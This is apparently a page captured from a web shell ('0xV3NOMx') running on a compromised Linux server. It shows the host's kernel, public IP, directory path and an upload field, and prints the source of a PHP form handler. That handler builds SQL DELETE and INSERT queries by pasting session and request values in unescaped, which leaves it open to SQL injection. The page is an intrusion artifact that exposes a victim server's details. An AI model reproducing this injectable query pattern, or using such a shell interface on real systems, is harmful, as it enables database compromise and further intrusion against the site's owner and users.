0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.59.183.77


Current Path : /var/www/html/cuk/orms_wait/src_old/
Upload File :
Current File : //var/www/html/cuk/orms_wait/src_old/otherexpdetails.php

<?php

function saveDetailsofOtherExp($aobj_context)
{
	session_start();
	$userid = $_SESSION['userid'];
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
	include_once("/JSON.php");
	
	$json = new Services_JSON();
	$fothexpdet = $aobj_context->mobj_data["othexpdet"];
	//var_dump($fothexpdet);
	
	$queryd = "delete from otherexp  
	where fuserid = '{$userid}'";
	$rst=$aobj_context->mobj_db->Execute($queryd);
	
	$query ="insert into otherexp(fuserid,fothexpdet) 
	values('{$userid}','{$fothexpdet}')";
	$rst1=$aobj_context->mobj_db->Execute($query);
	
	if($rst1)
	{
		$arr = "Updated Successfully";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
	}	
	else
	{	
		$arr = "Some Failure as occured";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"error"); 
	}
		
}


?>